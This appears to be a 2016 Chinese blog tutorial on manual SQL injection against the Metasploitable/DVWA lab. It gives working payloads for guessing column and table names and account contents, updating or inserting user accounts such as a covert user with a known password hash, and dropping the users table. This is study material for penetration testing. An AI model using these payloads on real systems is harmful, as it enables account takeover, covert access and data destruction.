小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

SQL手工注入

靶机:metasploitable(低)

 1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句

#若不为root

a.猜列名:   ' and coclumn is null--+     【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)

例如:' and asd is null--+     

 使用kali集成的字典文件

#对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】

 BurpSuite自动猜列名(使用字典文件)【不一定是全部列】

#也可通过返回的长度(length)来筛选

 

b.猜测当前表名:   ' and table.user is null--+  【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】

 #还可通过db.table.user猜测数据库名称【同样的方法】

kali中查找表名集成文件

cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt

 

#通常来说,表名应该只有一个,不排除存在其他表名

c.猜测库里其他表:   ' and (select count(*) from table)>0--+   【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】

 #同上,使用burpsuite

d.列表对应关系:    ' and users.user is null--+

 #通过上述方法,整理出已知列名文件

e.猜字段内容:  

' or user='admin             【后面为真,则显示,证明该内容存在】

' or user like '%a%        【通配符,只要字段中包含a,则显示】

 

f.猜账号对应密码:    'or user='admin' and password='1h29rwg27g9agf9291r9

 #可使用md5sum命令进行加密

 

 2、当数据库可写入【前提,数据库配置的权限足够】

a. ';update users set user='root' where user='admin'        【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】

 #但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因

 数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序

 

b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+    【插入:添加一个新用户,可隐秘行事】

 

 c.DROP TABLE users;--    【删除表】

 

 #利用数据库管理系统中默认的存储过程进行注入  【xp_cmdshell  /存储过程】

#SQL注入没有通用的方法,掌握原理,了解各种数据库特性

 

3、SQL注入难度提升讲解

low

 

medium

 

代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余

 

#mysql_real_escape_string()   【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】

转义函数,对以下下列字符转义

 

 

 High

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted on 2016-10-26 20:27  子轩非鱼  阅读(1724)  评论(0编辑  收藏  举报

导航